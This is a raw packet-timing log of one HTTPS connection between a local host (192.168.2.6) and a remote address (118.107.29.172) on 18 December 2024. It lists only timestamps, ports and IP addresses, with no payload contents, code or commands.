Dec 18, 2024 13:36:00.543950081 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.543978930 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.543996096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.546739101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.546760082 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.546802998 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.546812057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.546848059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.546869993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.555052996 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.555073977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.555126905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.555140018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.555150986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.557172060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.557199955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.557231903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.557239056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.557256937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.557291031 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.723321915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.723347902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.723460913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.723498106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.723550081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.725668907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.725688934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.725739956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.725747108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.725794077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.730314016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.730331898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.730384111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.730390072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.730416059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.730433941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.733531952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.733549118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.733604908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.733613014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.733652115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.735949039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.735966921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.736015081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.736022949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.736063957 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.738641977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.738660097 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.738722086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.738734007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.738775969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.747330904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.747354031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.747404099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.747415066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.747446060 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.747462034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.749965906 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.749983072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.750025988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.750036001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.750062943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.750076056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.915824890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.915858030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.915925980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.915945053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.915977955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.915985107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.918531895 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.918551922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.918610096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.918617964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.918652058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.927887917 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.927911997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.927968979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.927980900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.928020000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.930288076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.930305958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.930360079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.930366039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.930403948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.932971954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.932993889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.933048964 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.933060884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.933088064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.933101892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.936229944 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.936249971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.936285019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.936294079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.936335087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.940762997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.940789938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.940829039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.940835953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.940872908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.943094015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.943115950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.943154097 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.943161011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.943195105 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.943207979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.108397961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.108428001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.108489037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.108515978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.108536959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.108557940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.111145973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.111164093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.111242056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.111249924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.111289024 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.119944096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.119963884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.120018005 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.120026112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.120065928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.122704983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.122721910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.122791052 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.122797966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.123034000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.125775099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.125791073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.125844955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.125852108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.125890017 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.128400087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.128415108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.128472090 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.128479958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.128515005 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.132832050 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.132848978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.132908106 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.132916927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.132958889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.135602951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.135620117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.135660887 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.135668993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.135699987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.135718107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.300821066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.300857067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.300951004 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.300971031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.301006079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.301006079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.302894115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.302911043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.302978039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.302985907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.303024054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.488590956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.488615990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.488791943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.488791943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.488827944 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.488882065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.549048901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.549083948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.549173117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.549192905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.549235106 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.583576918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.583596945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.583687067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.583703995 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.583764076 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.607939959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.607963085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.608021021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.608026981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.608036995 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.608055115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.608062983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.608073950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.608078957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.608102083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.608153105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.608170033 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.608170986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.608181000 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.608211040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.608242035 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.608246088 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.608256102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.608273983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.608297110 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.608303070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.608330965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.608350039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.636981964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.637017012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.637053013 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.637061119 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.637099981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.637114048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.728844881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.728864908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.728924036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.728945017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.728962898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.728985071 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.729702950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.729724884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.729756117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.729763031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.729773045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.729799986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.730580091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.730601072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.730639935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.730645895 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.730684996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.730741978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.731426954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.731445074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.731483936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.731489897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.731513977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.731585026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.733179092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.733196974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.733299017 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.733308077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.733372927 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.734147072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.734168053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.734206915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.734213114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.734231949 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.734256029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.735939026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.735956907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.736027002 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.736033916 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.736072063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.736474037 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.736490965 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.736525059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.736531973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.736546993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.736571074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.737337112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.737360954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.737400055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.737406969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.737416029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.737443924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.738821983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.738850117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.738900900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.738908052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.738938093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.738956928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.739602089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.739628077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.739685059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.739694118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.739707947 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.739855051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.740484953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.740504026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.740570068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.740578890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.740614891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.742172956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.742192030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.742261887 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.742273092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.742311001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.742827892 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.742845058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.742889881 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.742902994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.742913961 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.742968082 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.878263950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.878293037 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.878346920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.878386021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.878400087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.878470898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.885587931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.885608912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.885656118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.885670900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.885699034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.885716915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.894444942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.894468069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.894511938 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.894520044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.894548893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.894571066 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.902390003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.902417898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.902458906 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.902466059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.902507067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.910492897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.910511971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.910569906 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.910581112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.910605907 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.910623074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.918294907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.918309927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.918351889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.918361902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.918390989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.918418884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.926263094 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.926280975 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.926325083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.926338911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.926366091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.926384926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.934190035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.934209108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.934252977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.934283972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:01.934298038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:01.934405088 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.071094990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.071114063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.071157932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.071173906 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.071185112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.071221113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.077685118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.077708960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.077747107 CET	49728	443	192.168.2.6	118.107.29.172
